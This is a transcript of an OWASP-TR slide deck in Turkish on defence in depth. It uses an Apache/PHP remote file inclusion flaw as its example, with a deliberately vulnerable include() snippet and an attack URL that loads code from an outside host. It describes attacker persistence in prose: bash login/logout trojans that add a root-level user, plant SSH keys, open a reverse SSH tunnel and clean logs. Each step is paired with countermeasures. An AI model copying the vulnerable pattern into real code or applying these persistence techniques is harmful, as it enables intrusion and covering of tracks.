KATMANLI GÜVENLİK ANLAYIŞINA UYGULAMALI BİR BAKIŞ Tahsin TÜRKÖZ [email protected] OWASP-TR Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the.

Download Report

Transcript KATMANLI GÜVENLİK ANLAYIŞINA UYGULAMALI BİR BAKIŞ Tahsin TÜRKÖZ [email protected] OWASP-TR Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the.

KATMANLI GÜVENLİK ANLAYIŞINA
UYGULAMALI BİR BAKIŞ
Tahsin TÜRKÖZ
[email protected]
OWASP-TR
Copyright © The OWASP Foundation
Permission is granted to copy, distribute and/or modify this document
under the terms of the OWASP License.
The OWASP Foundation
http://www.owasp.org
İçerik
Giriş - Katmanlı güvenliğin tanımı
Test ortamı tanıtımı
Bir PHP açıklığı
Saldırılar ve önlemler
Sonuç
OWASP-TR
2
Tanım
• Katmanlı güvenlik (Defence in depth, elastic
defence)
– Amerikan savunma bakanlığı kaynaklı
– Peşpeşe güvenlik mekanizmalarının uygulanması
– Saldırıyı engeleme yerine etkilerini azaltma ya da
zayıflatma stratejisi
– Ana fikir: Bir savunma mekanizması devre dışı
kaldığında sistemi savunmasız bırakmama
– Yöntem: Her katman ile saldırganın hareket
alanını daha da kısıtlama
– Örnekler: Fiziksel güvenlik, güvenlik duvarı, saldırı
tespit sistemi, şifreleme
OWASP-TR
3
Test Ortamı Tanıtımı
Saldırgan
Web sunucu
Linux
Apache + PHP
Yönetici
OWASP-TR
4
PHP Açıklığı
Uzaktan Kod Çalıştırma (RFI)
Problem:
 Uzaktan dosya indirmeye ve çalıştırmaya izin veren web
uygulama çatıları
 Girdi denetimi zayıf uygulamalar
Etkilenen platformlar:
 PHP (4.0.4 sonrası ve 5.x)
 Diğer uygulama çatıları (Java, .NET gibi)
OWASP-TR
5
Uzaktan Kod Çalıştırma (RFI) Örnek
/index.php?lang=tr
index.php
<?php
$language = $_REQUEST[‘lang’];
include($language.”php”);
…
…
...
sonuç
?>
tr.php
<?php
…
…
?>
INTERNET
OWASP-TR
SUNUCU TARAFI
6
Uzaktan Kod Çalıştırma (RFI) Örnek
index.php
/index.php?lang=http://abc.com/tr.php?
<?php
$language = $_REQUEST[‘lang’];
<?php
…
…
?>
include($language.”php”);
…
…
http://abc.com/tr.php
?>
sonuç
INTERNET
OWASP-TR
SUNUCU TARAFI
7
Saldırı – Önlem Döngü Yapısı
Karşı Önlem
Saldırı
Çıkarılacak Dersler
OWASP-TR
8
Döngü #1
Saldırganın bakış açısı
PHPShell yeterli mi?
Saldırganın ihtiyaçları
Kompleks işlemlerin yürütülebileceği bir bağlantı
arabirimi
Sunucunun arkasındaki sistemlere erişim
Yetki seviyesi yüksek bir kullanıcı hesabı
Kayıt dosyalarının temizlenmesi
Bağlantıları ele verebilecek komutların değiştirilme
Çözüm: Rootkit / Trojan enjeksiyonu
OWASP-TR
9
Tunnel yapısı
OWASP-TR
10
Rootkit / Trojan
/root/.bashrc
/etc/bash_login
/root/.bash_logout
/etc/bash_logout
 /etc/tunnel
/etc/bashrc
/etc/bash_logout
 /etc/tunnel
netstat
last
B planı: chmod
OWASP-TR
11
/etc/bash_logout
Kayıt dosyalarının yedeğini alır.
Sistem yönetici yetkilerine sahip enjoy kullanıcısını
oluşturur.
SSH anahtarlarını root kullanıcısının ev dizinine
kopyalar.
Saldırganın bilgisayarına doğru SSH tünelini açar.
Kayıt dosyalarını geri kopyalar.
OWASP-TR
12
/etc/bash_login
Kayıt dosyalarının yedeğini alır. enjoy kullanıcının
ve saldırgan bilgisayarı ile ilgili kayıtları siler.
SSH tünelini ve varsa saldırgana ait aktif
bağlantıları koparır.
enjoy kullanıcısını siler.
root kullanıcısının ev dizinindeki SSH anahtarlarını
siler.
Kayıt dosyalarını geri kopyalar.
OWASP-TR
13
Döngü #1
Karşı Önlem
Yetkisiz kullanıcı (nobody) ile koşan apache
Çıkarılacak Ders
Minimum hak prensibi
Dışa doğru açık olan bağlantı haklarının kısıtlanması
OWASP-TR
14
Döngü #2
Saldırı
B planı olarak düşünülen SUID biti aktife edilmiş
chmod komutunun kullanılması
Karşı Önlem
Sistemi tümüyle yeniden kurma
Chroot ile hapishane yapısına geçme
Çıkarılacak Ders
Başarılı bir şekilde kırılmış bir sistem yeniden
kurulmalıdır.
Minimum hak prensibi için tek katman yetersiz
kalabilir.
OWASP-TR
15
ChRoot
OWASP-TR
16
Döngü #3
Saldırı
RFI açıklığı ile web tabanlı kabuk (shell) açarak;
 Web sayfası tahrifatı (defacement)
Karşı Önlem
Aktif bütünlük kontrolcüsü kullanımı - Tripwire
Çıkarılacak Ders
Tüm yönüyle sunucu sıkılaştırması (hardening)
Minimum hak prensibi için iki katman yetersiz kalabilir.
OWASP-TR
17
Döngü #4
Saldırı
RFI açıklığı ile web tabanlı kabuk (shell) açarak;
 Syscall kullanılarak Hizmet Dışı Bırakma saldırısı
 Kaynak kodu ifşası
Karşı Önlem
PHP kodunu düzeltme
Çıkarılacak Ders
Açıklığın kaynağını bulup, önlem alınması
Katmanlı güvenlik anlayışının önemi
OWASP-TR
18
Sonuç
Kurumsal bilgi sistemlerinde bütün açıklıkların
farkında olmak ve zamanında gerekli önlemleri
almak çok zordur.
Katmanlı güvenlik ile farklı güvenlik mekanizmaları
uygulayarak saldırıların etkileri azaltılabilir.
OWASP-TR
19
Faydalı Linkler & Sorular
 chroot
 http://www.unixwiz.net/techtips/chroot-practices.html
 http://www.cgisecurity.com/webservers/apache/chrootapache2howto.html
 apache güvenliği
 http://www.securityfocus.com/infocus/1694
 http://www.securityfocus.com/infocus/1786
 http://www.apachesecurity.net/
 modsecurity
 http://modsecurity.org/
 PHP güvenliği
 http://www.php-security.org/
 www.owasp.org
OWASP-TR
20
Faydalı Linkler
 Unix/rootkit/trojan
 http://vil.nai.com/vil/Content/v_100721.htm
 http://www.rootkit.com/
 http://www.antirootkit.com
 SSH ile tünel
 http://www.securityfocus.com/infocus/1816
 http://www.rzg.mpg.de/networking/tunnelling.html
 http://www.ccs.neu.edu/howto/howto-sshtunnel.html
 Unix güvenliği
 http://www.cisecurity.org
 http://www.princeton.edu/~psg/unix/security.html
 http://www.auscert.org.au/7284
OWASP-TR
21